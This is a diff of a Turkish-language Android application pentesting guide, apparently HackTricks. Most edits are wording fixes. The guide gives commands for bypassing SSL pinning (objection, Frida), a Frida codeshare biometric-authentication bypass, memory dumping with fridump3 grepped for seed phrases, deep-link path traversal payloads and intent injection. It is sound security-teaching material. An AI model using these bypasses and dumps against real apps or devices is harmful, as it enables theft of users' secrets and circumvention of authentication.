adb shell am start -n com.example.demo/com.example.test.MainActivity
 | 
			
		||||
```
 | 
			
		||||
@ -334,7 +334,7 @@ Eğer tapjacking engellenmezse, dışa aktarılmış aktiviteyi **kullanıcını
 | 
			
		||||
### İçerik Sağlayıcılarını Sömürme - Hassas bilgilere erişim ve manipülasyon
 | 
			
		||||
 | 
			
		||||
[**Bir İçerik Sağlayıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#content-provider)\
 | 
			
		||||
İçerik sağlayıcıları temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamanın mevcut içerik sağlayıcıları varsa, onlardan **hassas** verileri **çıkartma** imkanınız olabilir. Ayrıca, olası **SQL enjeksiyonlarını** ve **Path Traversals**'ı test etmek de ilginçtir çünkü bunlar zayıf olabilir.
 | 
			
		||||
İçerik sağlayıcıları temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamanın mevcut içerik sağlayıcıları varsa, onlardan **hassas** verileri **çıkarma** imkanınız olabilir. Ayrıca, olası **SQL enjeksiyonlarını** ve **Path Traversals** test etmek de ilginçtir çünkü bunlar zayıf olabilir.
 | 
			
		||||
 | 
			
		||||
[**Drozer ile İçerik Sağlayıcılarını nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#content-providers)
 | 
			
		||||
 | 
			
		||||
@ -343,16 +343,16 @@ Eğer tapjacking engellenmezse, dışa aktarılmış aktiviteyi **kullanıcını
 | 
			
		||||
[**Bir Hizmetin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#services)\
 | 
			
		||||
Bir Hizmetin eylemlerinin `onStartCommand` metodunda başladığını unutmayın.
 | 
			
		||||
 | 
			
		||||
Hizmet, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (veya döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve gizli bilgileri çıkartmak, kimlik doğrulama önlemlerini atlamak için **dinamik olarak test etmelisiniz**...\
 | 
			
		||||
Hizmet, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (veya döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve gizli bilgileri çıkarmak, kimlik doğrulama önlemlerini atlamak için **dinamik olarak test etmelisiniz**...\
 | 
			
		||||
[**Drozer ile Hizmetleri nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#services)
 | 
			
		||||
 | 
			
		||||
### **Broadcast Alıcılarını Sömürme**
 | 
			
		||||
### **Yayın Alıcılarını Sömürme**
 | 
			
		||||
 | 
			
		||||
[**Bir Broadcast Alıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#broadcast-receivers)\
 | 
			
		||||
Bir Broadcast Alıcının eylemlerinin `onReceive` metodunda başladığını unutmayın.
 | 
			
		||||
[**Bir Yayın Alıcısının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#broadcast-receivers)\
 | 
			
		||||
Bir Yayın Alıcısının eylemlerinin `onReceive` metodunda başladığını unutmayın.
 | 
			
		||||
 | 
			
		||||
Bir broadcast alıcısı bir tür mesaj bekleyecektir. Alıcının mesajı nasıl işlediğine bağlı olarak, zayıf olabilir.\
 | 
			
		||||
[**Drozer ile Broadcast Alıcılarını nasıl sömüreceğinizi öğrenin.**](#exploiting-broadcast-receivers)
 | 
			
		||||
Bir yayın alıcısı bir tür mesaj bekleyecektir. Alıcının mesajı nasıl işlediğine bağlı olarak, zayıf olabilir.\
 | 
			
		||||
[**Drozer ile Yayın Alıcılarını nasıl sömüreceğinizi öğrenin.**](#exploiting-broadcast-receivers)
 | 
			
		||||
 | 
			
		||||
### **Şemaları / Derin bağlantıları Sömürme**
 | 
			
		||||
 | 
			
		||||
@ -380,7 +380,7 @@ Her derin bağlantı bulduğunuzda, **URL parametreleri aracılığıyla hassas
 | 
			
		||||
 | 
			
		||||
**Yolda parametreler**
 | 
			
		||||
 | 
			
		||||
**URL'nin yolunda bir parametre kullanıp kullanmadığını da kontrol etmelisiniz**: `https://api.example.com/v1/users/{username}` , bu durumda bir yol geçişi zorlayarak şuna erişebilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
 | 
			
		||||
**URL'nin yolunda bir parametre kullanıp kullanmadığını da kontrol etmelisiniz**. Örneğin: `https://api.example.com/v1/users/{username}` , bu durumda bir yol geçişi zorlayarak şuna erişebilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
 | 
			
		||||
Uygulama içinde doğru uç noktaları bulursanız, **Açık Yönlendirme** (eğer yolun bir kısmı alan adı olarak kullanılıyorsa), **hesap ele geçirme** (eğer kullanıcı detaylarını CSRF token olmadan değiştirebiliyorsanız ve zayıf uç nokta doğru yöntemi kullanıyorsa) ve diğer zayıflıkları tetikleyebilirsiniz. Daha fazla [bilgi burada](http://dphoeniixx.com/2020/12/13-2/).
 | 
			
		||||
 | 
			
		||||
**Daha fazla örnek**
 | 
			
		||||
@ -391,7 +391,7 @@ Bir [ilginç hata ödül raporu](https://hackerone.com/reports/855618) bağlant
 | 
			
		||||
 | 
			
		||||
- **Sertifikalar her zaman düzgün bir şekilde incelenmez** Android uygulamaları tarafından. Bu uygulamaların uyarıları göz ardı etmesi ve kendinden imzalı sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi yaygındır.
 | 
			
		||||
- **SSL/TLS el sıkışması sırasında müzakereler bazen zayıftır**, güvensiz şifreleme takımları kullanır. Bu zayıflık, bağlantıyı adam ortada (MITM) saldırılarına karşı savunmasız hale getirir ve saldırganların verileri şifrelerini çözmesine olanak tanır.
 | 
			
		||||
- **Özel bilgilerin sızması** güvenli kanallar aracılığıyla kimlik doğrulaması yapan uygulamalar için bir risk oluşturur, ancak diğer işlemler için güvensiz kanallar üzerinden iletişim kurarlar. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verilerin kötü niyetli varlıklar tarafından ele geçirilmesini korumaz.
 | 
			
		||||
- **Özel bilgilerin sızması**, uygulamalar güvenli kanallar kullanarak kimlik doğrulaması yaparken ancak diğer işlemler için güvensiz kanallar üzerinden iletişim kurduğunda bir risk oluşturur. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verileri kötü niyetli varlıkların ele geçirmesinden korumaz.
 | 
			
		||||
 | 
			
		||||
#### Sertifika Doğrulama
 | 
			
		||||
 | 
			
		||||
@ -411,7 +411,7 @@ HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek**
 | 
			
		||||
 | 
			
		||||
SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu aşmak gerekli hale gelir. Bu amaçla çeşitli yöntemler mevcuttur:
 | 
			
		||||
 | 
			
		||||
- **apk'yi otomatik olarak değiştirerek** SSLPinning'i **aşmak için** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanabilirsiniz. Bu seçeneğin en iyi avantajı, SSL Pinning'i aşmak için root'a ihtiyaç duymamanızdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir.
 | 
			
		||||
- **apk'yi otomatik olarak değiştirerek** SSL Pinning'i **aşmak için** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanabilirsiniz. Bu seçeneğin en iyi yanı, SSL Pinning'i aşmak için root'a ihtiyacınız olmamasıdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir.
 | 
			
		||||
- Bu korumayı aşmak için **Frida** kullanabilirsiniz (aşağıda tartışılmıştır). Burp+Frida+Genymotion kullanma rehberiniz burada: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
 | 
			
		||||
- **SSL Pinning'i otomatik olarak aşmak için** [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
 | 
			
		||||
- **SSL Pinning'i otomatik olarak aşmak için** **MobSF dinamik analizi** (aşağıda açıklandığı gibi) deneyebilirsiniz.
 | 
			
		||||
@ -419,23 +419,23 @@ SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu aşmak gere
 | 
			
		||||
 | 
			
		||||
#### Yaygın Web Zayıflıklarını Arama
 | 
			
		||||
 | 
			
		||||
Uygulama içinde yaygın web zayıflıklarını da aramak önemlidir. Bu zayıflıkları tanımlama ve hafifletme ile ilgili ayrıntılı bilgiler bu özetin kapsamının ötesindedir, ancak başka yerlerde kapsamlı bir şekilde ele alınmaktadır.
 | 
			
		||||
Uygulama içinde yaygın web zayıflıklarını da aramak önemlidir. Bu zayıflıkları tanımlama ve hafifletme ile ilgili ayrıntılı bilgiler bu özetin kapsamının ötesindedir ancak başka yerlerde kapsamlı bir şekilde ele alınmaktadır.
 | 
			
		||||
 | 
			
		||||
### Frida
 | 
			
		||||
 | 
			
		||||
[Frida](https://www.frida.re), geliştiriciler, ters mühendisler ve güvenlik araştırmacıları için dinamik bir enstrümantasyon aracıdır.\
 | 
			
		||||
**Çalışan uygulamaya erişebilir ve çalışma zamanında yöntemleri yakalayarak davranışları değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kodlar çalıştırabilirsiniz...**\
 | 
			
		||||
Android uygulamalarını pentest etmek istiyorsanız, Frida'yı nasıl kullanacağınızı bilmelisiniz.
 | 
			
		||||
[Frida](https://www.frida.re), geliştiriciler, ters mühendisler ve güvenlik araştırmacıları için dinamik enstrümantasyon araç takımıdır.\
 | 
			
		||||
**Çalışan uygulamaya erişebilir ve çalışma zamanında yöntemleri bağlayarak davranışı değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kodlar çalıştırabilirsiniz...**\
 | 
			
		||||
Android uygulamalarını pentest etmek istiyorsanız Frida'yı nasıl kullanacağınızı bilmelisiniz.
 | 
			
		||||
 | 
			
		||||
- Frida'yı nasıl kullanacağınızı öğrenin: [**Frida eğitimi**](frida-tutorial/)
 | 
			
		||||
- Frida'yı nasıl kullanacağınızı öğrenin: [**Frida eğitimi**](frida-tutorial/index.html)
 | 
			
		||||
- Frida ile eylemler için bazı "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
 | 
			
		||||
- Ojection, Frida kullanımını otomatikleştirmek için harika: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
 | 
			
		||||
- Ojection, Frida kullanımını otomatikleştirmek için harikadır: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
 | 
			
		||||
- Burada bazı harika Frida betikleri bulabilirsiniz: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
 | 
			
		||||
- Frida'yı [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) adresinde belirtildiği gibi yükleyerek anti-debugging / anti-frida mekanizmalarını aşmayı deneyin (araç [linjector](https://github.com/erfur/linjector-rs))
 | 
			
		||||
 | 
			
		||||
### **Belleği Dökme - Fridump**
 | 
			
		||||
 | 
			
		||||
Uygulamanın, saklamaması gereken hassas bilgileri bellekte saklayıp saklamadığını kontrol edin, örneğin şifreler veya mnemonikler.
 | 
			
		||||
Uygulamanın, saklamaması gereken hassas bilgileri (şifreler veya mnemonikler gibi) bellekte saklayıp saklamadığını kontrol edin.
 | 
			
		||||
 | 
			
		||||
[**Fridump3**](https://github.com/rootbsd/fridump3) kullanarak uygulamanın belleğini dökebilirsiniz:
 | 
			
		||||
```bash
 | 
			
		||||
@ -446,7 +446,7 @@ python3 fridump3.py -u <PID>
 | 
			
		||||
frida-ps -Uai
 | 
			
		||||
python3 fridump3.py -u "<Name>"
 | 
			
		||||
```
 | 
			
		||||
Bu, belleği ./dump klasörüne dökecektir ve burada şunlarla grep yapabilirsiniz:
 | 
			
		||||
Bu, ./dump klasöründe belleği dökecektir ve orada şunlarla grep yapabilirsiniz:
 | 
			
		||||
```bash
 | 
			
		||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
 | 
			
		||||
```
 | 
			
		||||
@ -462,7 +462,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
 | 
			
		||||
```
 | 
			
		||||
### **Parmak İzi/Biyometrik Bypass**
 | 
			
		||||
 | 
			
		||||
Aşağıdaki Frida scriptini kullanarak, Android uygulamalarının **belirli hassas alanları korumak için** gerçekleştirebileceği **parmak izi kimlik doğrulamasını atlamak** mümkün olabilir:
 | 
			
		||||
Aşağıdaki Frida script'ini kullanarak, Android uygulamalarının **belirli hassas alanları korumak için** gerçekleştirebileceği **parmak izi kimlik doğrulamasını atlamak** mümkün olabilir:
 | 
			
		||||
```bash
 | 
			
		||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
 | 
			
		||||
```
 | 
			
		||||
@ -472,9 +472,9 @@ Bir uygulamayı arka plana aldığınızda, Android **uygulamanın bir anlık g
 | 
			
		||||
 | 
			
		||||
Ancak, bu anlık görüntü **hassas bilgiler** içeriyorsa, anlık görüntüye erişimi olan biri bu bilgileri **çalıp alabilir** (erişim için root gereklidir).
 | 
			
		||||
 | 
			
		||||
Anlık görüntüler genellikle şu konumda saklanır: **`/data/system_ce/0/snapshots`**
 | 
			
		||||
Anlık görüntüler genellikle şurada saklanır: **`/data/system_ce/0/snapshots`**
 | 
			
		||||
 | 
			
		||||
Android, **FLAG_SECURE** düzen parametresini ayarlayarak ekran görüntüsü alımını **önlemenin** bir yolunu sağlar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak kabul edilir, bu da ekran görüntülerinde görünmesini veya güvenli olmayan ekranlarda görüntülenmesini engeller.
 | 
			
		||||
Android, **FLAG_SECURE** düzen parametresini ayarlayarak ekran görüntüsü alımını **önlemenin** bir yolunu sunar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak kabul edilir, ekran görüntülerinde görünmesini veya güvenli olmayan ekranlarda görüntülenmesini engeller.
 | 
			
		||||
```bash
 | 
			
		||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
 | 
			
		||||
```
 | 
			
		||||
@ -491,17 +491,17 @@ Tehlike, saldırganların bu Intents'leri yanlış yönlendirerek dışa aktarı
 | 
			
		||||
### Temel Çıkarımlar
 | 
			
		||||
 | 
			
		||||
- **Intent Enjeksiyonu**, webin Açık Yönlendirme sorununa benzer.
 | 
			
		||||
- Saldırılar, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu, güvensiz işlemleri yürütmek için yönlendirilebilir.
 | 
			
		||||
- Sömürü, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu, güvensiz işlemleri yürütmek için yönlendirilebilir.
 | 
			
		||||
- Dışa aktarılmamış bileşenleri ve içerik sağlayıcılarını saldırganlara açabilir.
 | 
			
		||||
- `WebView`’in URL'den `Intent` dönüşümü, istenmeyen eylemleri kolaylaştırabilir.
 | 
			
		||||
 | 
			
		||||
### Android İstemci Tarafı Enjeksiyonları ve Diğerleri
 | 
			
		||||
 | 
			
		||||
Bu tür güvenlik açıkları hakkında Web'den bilgi sahibi olmalısınız. Bir Android uygulamasında bu güvenlik açıklarına özellikle dikkat etmelisiniz:
 | 
			
		||||
Bu tür güvenlik açıkları hakkında Web'den haberdar olmalısınız. Bir Android uygulamasında bu güvenlik açıklarına özellikle dikkat etmelisiniz:
 | 
			
		||||
 | 
			
		||||
- **SQL Enjeksiyonu:** Dinamik sorgular veya İçerik Sağlayıcılarla çalışırken, parametreli sorgular kullandığınızdan emin olun.
 | 
			
		||||
- **JavaScript Enjeksiyonu (XSS):** Herhangi bir WebView için JavaScript ve Eklenti desteğinin devre dışı bırakıldığını doğrulayın (varsayılan olarak devre dışıdır). [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled).
 | 
			
		||||
- **Yerel Dosya Dahil Etme:** WebView'lerin dosya sistemine erişimi devre dışı bırakılmalıdır (varsayılan olarak etkindir) - `(webview.getSettings().setAllowFileAccess(false);)`. [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled).
 | 
			
		||||
- **JavaScript Enjeksiyonu (XSS):** Herhangi bir WebView için JavaScript ve Eklenti desteğinin devre dışı olduğundan emin olun (varsayılan olarak devre dışıdır). [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled).
 | 
			
		||||
- **Yerel Dosya Dahil Etme:** WebView'lerin dosya sistemine erişimi devre dışı olmalıdır (varsayılan olarak etkindir) - `(webview.getSettings().setAllowFileAccess(false);)`. [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled).
 | 
			
		||||
- **Sonsuz çerezler**: Birçok durumda, android uygulaması oturumu bitirdiğinde çerez iptal edilmez veya hatta diske kaydedilebilir.
 | 
			
		||||
- [**Çerezlerde Güvenli Bayrak**](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
 | 
			
		||||
 | 
			
		||||
@ -523,14 +523,14 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
 | 
			
		||||
MobSF, **Android**(apk)**, IOS**(ipa) **ve Windows**(apx) uygulamalarını (_Windows uygulamaları, Windows ana bilgisayarında kurulu bir MobSF'den analiz edilmelidir_) analiz edebilir.\
 | 
			
		||||
Ayrıca, bir **Android** veya **IOS** uygulamasının kaynak koduyla bir **ZIP** dosyası oluşturursanız (uygulamanın kök klasörüne gidin, her şeyi seçin ve bir ZIP dosyası oluşturun), bunu da analiz edebilecektir.
 | 
			
		||||
 | 
			
		||||
MobSF ayrıca **diff/karşılaştırma** analizi yapmanıza ve **VirusTotal** ile entegre olmanıza olanak tanır (API anahtarınızı _MobSF/settings.py_ dosyasında ayarlamanız ve etkinleştirmeniz gerekecek: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). `VT_UPLOAD`'u `False` olarak ayarlayabilirsiniz, bu durumda **hash** dosya yerine **yüklenir**.
 | 
			
		||||
MobSF ayrıca **diff/karşılaştırma** analizi yapmanıza ve **VirusTotal** ile entegre olmanıza olanak tanır (API anahtarınızı _MobSF/settings.py_ dosyasında ayarlamanız ve etkinleştirmeniz gerekecek: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). `VT_UPLOAD`'ı `False` olarak ayarlayabilirsiniz, bu durumda **hash** dosya yerine **yüklenir**.
 | 
			
		||||
 | 
			
		||||
### MobSF ile Yardımlı Dinamik Analiz
 | 
			
		||||
 | 
			
		||||
**MobSF**, **Android** için **dinamik analiz** konusunda da çok yardımcı olabilir, ancak bu durumda MobSF ve **genymotion**'ı ana bilgisayarınıza kurmanız gerekecek (bir VM veya Docker çalışmayacaktır). _Not: Önce **genymotion'da bir VM başlatmalısınız** ve **sonra MobSF'yi başlatmalısınız.**_\
 | 
			
		||||
**MobSF dinamik analizörü** şunları yapabilir:
 | 
			
		||||
 | 
			
		||||
- **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalananlar, sizin yaptığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri için istediğinizde basmanız veya tüm dışa aktarılan etkinliklerin ekran görüntülerini almak için "**Exported Activity Tester**" butonuna basmanız gerekir.
 | 
			
		||||
- **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalanan veriler, sizin yaptığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri için istediğinizde basmanız veya tüm dışa aktarılan aktivitelerin ekran görüntülerini elde etmek için "**Exported Activity Tester**" butonuna basmanız gerekir.
 | 
			
		||||
- **HTTPS trafiğini yakalama**
 | 
			
		||||
- **Çalışma zamanı** **bilgilerini** elde etmek için **Frida** kullanma
 | 
			
		||||
 | 
			
		||||
@ -539,7 +539,7 @@ Android **sürümleri > 5** için, **Frida**'yı **otomatik olarak başlatacak**
 | 
			
		||||
**Frida**
 | 
			
		||||
 | 
			
		||||
Varsayılan olarak, **SSL pinning**'i **bypass** etmek, **root tespiti** ve **debugger tespiti** yapmak ve **ilginç API'leri** izlemek için bazı Frida Script'lerini de kullanacaktır.\
 | 
			
		||||
MobSF ayrıca **dışa aktarılan etkinlikleri** çağırabilir, bunların **ekran görüntülerini** alabilir ve rapor için **kaydedebilir**.
 | 
			
		||||
MobSF ayrıca **dışa aktarılan aktiviteleri** çağırabilir, bunların **ekran görüntülerini** alabilir ve rapor için **kaydedebilir**.
 | 
			
		||||
 | 
			
		||||
Dinamik testi **başlatmak** için yeşil butona basın: "**Start Instrumentation**". Frida script'leri tarafından üretilen günlükleri görmek için "**Frida Live Logs**" butonuna basın ve bağlı yöntemlere yapılan tüm çağrıları, geçirilen argümanları ve döndürülen değerleri görmek için "**Live API Monitor**" butonuna basın (bu, "Start Instrumentation" butonuna bastıktan sonra görünecektir).\
 | 
			
		||||
MobSF ayrıca kendi **Frida script'lerinizi** yüklemenize olanak tanır (Frida script'lerinizin sonuçlarını MobSF'ye göndermek için `send()` fonksiyonunu kullanın). Ayrıca yükleyebileceğiniz **birçok önceden yazılmış script** vardır (daha fazlasını `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` dizinine ekleyebilirsiniz), sadece **seçin**, "**Load**" butonuna basın ve "**Start Instrumentation**" butonuna basın (o script'lerin günlüklerini "**Frida Live Logs**" içinde görebileceksiniz).
 | 
			
		||||
@ -548,18 +548,18 @@ MobSF ayrıca kendi **Frida script'lerinizi** yüklemenize olanak tanır (Frida
 | 
			
		||||
 | 
			
		||||
Ayrıca, bazı Yardımcı Frida işlevsellikleriniz var:
 | 
			
		||||
 | 
			
		||||
- **Yüklenen Sınıfları Listele**: Yüklenen tüm sınıfları yazdırır
 | 
			
		||||
- **Yüklenen Sınıfları Listele**: Tüm yüklenen sınıfları yazdırır
 | 
			
		||||
- **Dizeleri Yakala**: Uygulamayı kullanırken tüm yakalanan dizeleri yazdırır (çok gürültülü)
 | 
			
		||||
- **Dize Karşılaştırmalarını Yakala**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** gösterecek ve sonucun True veya False olup olmadığını belirtecektir.
 | 
			
		||||
- **Sınıf Yöntemlerini Listele**: Sınıf adını (örneğin "java.io.File") girin ve sınıfın tüm yöntemlerini yazdıracaktır.
 | 
			
		||||
- **Dize Karşılaştırmalarını Yakala**: Çok faydalı olabilir. **Karşılaştırılan 2 dizeyi** ve sonucun True veya False olup olmadığını **gösterir**.
 | 
			
		||||
- **Sınıf Yöntemlerini Listele**: Sınıf adını (örneğin "java.io.File") girin ve sınıfın tüm yöntemlerini yazdırır.
 | 
			
		||||
- **Sınıf Deseni Ara**: Desene göre sınıfları arar
 | 
			
		||||
- **Sınıf Yöntemlerini İzle**: **Bütün bir sınıfı izler** (sınıfın tüm yöntemlerinin giriş ve çıkışlarını görür). Unutmayın ki varsayılan olarak MobSF, birkaç ilginç Android API yöntemini izler.
 | 
			
		||||
 | 
			
		||||
Kullanmak istediğiniz yardımcı modülü seçtikten sonra "**Start Intrumentation**" butonuna basmanız gerekir ve tüm çıktıları "**Frida Live Logs**" içinde göreceksiniz.
 | 
			
		||||
Kullanmak istediğiniz yardımcı modülü seçtikten sonra "**Start Instrumentation**" butonuna basmanız gerekir ve tüm çıktıları "**Frida Live Logs**" içinde göreceksiniz.
 | 
			
		||||
 | 
			
		||||
**Shell**
 | 
			
		||||
 | 
			
		||||
Mobsf, dinamik analiz sayfasının altında bazı **adb** komutları, **MobSF komutları** ve yaygın **shell** **komutları** ile bir shell de sunar. Bazı ilginç komutlar:
 | 
			
		||||
Mobsf ayrıca dinamik analiz sayfasının altında bazı **adb** komutları, **MobSF komutları** ve yaygın **shell** **komutları** ile bir shell sunar. Bazı ilginç komutlar:
 | 
			
		||||
```bash
 | 
			
		||||
help
 | 
			
		||||
shell ls
 | 
			
		||||
@ -570,13 +570,13 @@ receivers
 | 
			
		||||
```
 | 
			
		||||
**HTTP araçları**
 | 
			
		||||
 | 
			
		||||
HTTP trafiği yakalandığında, "**HTTP(S) Trafiği**" altındaki yakalanan trafiğin çirkin bir görünümünü veya "**HTTP Araçlarını Başlat**" yeşil butonundaki daha güzel bir görünümünü görebilirsiniz. İkinci seçenekten, **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxy'lere** **gönderebilirsiniz**.\
 | 
			
		||||
Bunu yapmak için, _Burp'ı açın -->_ _Intercept'i kapatın --> MobSB HTTP Araçları'nda isteği seçin_ --> "**Fuzzer'a Gönder**" butonuna basın --> _proxy adresini seçin_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
 | 
			
		||||
HTTP trafiği yakalandığında, "**HTTP(S) Trafik**" altındaki yakalanan trafiğin çirkin bir görünümünü veya "**HTTPTools'u Başlat**" yeşil butonundaki daha güzel bir görünümünü görebilirsiniz. İkinci seçenekten, **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxy'lere** **gönderebilirsiniz**.\
 | 
			
		||||
Bunu yapmak için, _Burp'ı açın -->_ _Intercept'i kapatın --> MobSB HTTPTools'da isteği seçin_ --> "**Fuzzer'a Gönder**" butonuna basın --> _proxy adresini seçin_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
 | 
			
		||||
 | 
			
		||||
MobSF ile dinamik analizi tamamladıktan sonra, **http isteklerini fuzzlamak** ve güvenlik açıklarını aramak için "**Web API Fuzzer'ı Başlat**" butonuna basabilirsiniz.
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> MobSF ile dinamik bir analiz gerçekleştirdikten sonra proxy ayarları yanlış yapılandırılmış olabilir ve bunları GUI'den düzeltemezsiniz. Proxy ayarlarını düzeltmek için:
 | 
			
		||||
> MobSF ile dinamik analiz gerçekleştirdikten sonra proxy ayarları yanlış yapılandırılmış olabilir ve bunları GUI'den düzeltemezsiniz. Proxy ayarlarını düzeltmek için:
 | 
			
		||||
>
 | 
			
		||||
> ```
 | 
			
		||||
> adb shell settings put global http_proxy :0
 | 
			
		||||
@ -631,7 +631,7 @@ StaCoAn, geliştiricilere, bugbounty avcılarına ve etik hackerlara mobil uygul
 | 
			
		||||
 | 
			
		||||
Kavram, mobil uygulama dosyanızı (bir .apk veya .ipa dosyası) StaCoAn uygulamasına sürükleyip bırakmanız ve bunun için size görsel ve taşınabilir bir rapor oluşturmasıdır. Özelleştirilmiş bir deneyim elde etmek için ayarları ve kelime listelerini değiştirebilirsiniz.
 | 
			
		||||
 | 
			
		||||
İndir[ en son sürüm](https://github.com/vincentcox/StaCoAn/releases):
 | 
			
		||||
[En son sürümü](https://github.com/vincentcox/StaCoAn/releases) indirin:
 | 
			
		||||
```
 | 
			
		||||
./stacoan
 | 
			
		||||
```
 | 
			
		||||
@ -657,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
**MARA**, **M**obil **U**ygulama **T**ersine mühendislik ve **A**naliz Çerçevesidir. Bu, mobil uygulamaları OWASP mobil güvenlik tehditlerine karşı test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama tersine mühendislik ve analiz araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve daha dostane hale getirmektir.
 | 
			
		||||
**MARA**, **Mobil Uygulama Tersine Mühendislik ve Analiz Çerçevesi**dir. Bu, mobil uygulamaları OWASP mobil güvenlik tehditlerine karşı test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama tersine mühendislik ve analiz araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve daha dostane hale getirmektir.
 | 
			
		||||
 | 
			
		||||
Şunları yapabilir:
 | 
			
		||||
 | 
			
		||||
@ -666,7 +666,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 | 
			
		||||
- Regex kullanarak APK'dan özel bilgileri çıkarmak.
 | 
			
		||||
- Manifest'i analiz etmek.
 | 
			
		||||
- Bulunan alan adlarını analiz etmek için: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) ve [whatweb](https://github.com/urbanadventurer/WhatWeb)
 | 
			
		||||
- APK'yı [apk-deguard.com](http://www.apk-deguard.com) üzerinden deşifre etmek.
 | 
			
		||||
- APK'yi [apk-deguard.com](http://www.apk-deguard.com) üzerinden deşifre etmek.
 | 
			
		||||
 | 
			
		||||
### Koodous
 | 
			
		||||
 | 
			
		||||
@ -691,7 +691,7 @@ APK'yı deşifre etmek için adım adım bir kılavuzu [https://blog.lexfo.fr/de
 | 
			
		||||
- Bir kaynağı InputStream olarak yüklemek;
 | 
			
		||||
- Sonucu deşifre etmek için FilterInputStream'den türetilmiş bir sınıfa beslemek;
 | 
			
		||||
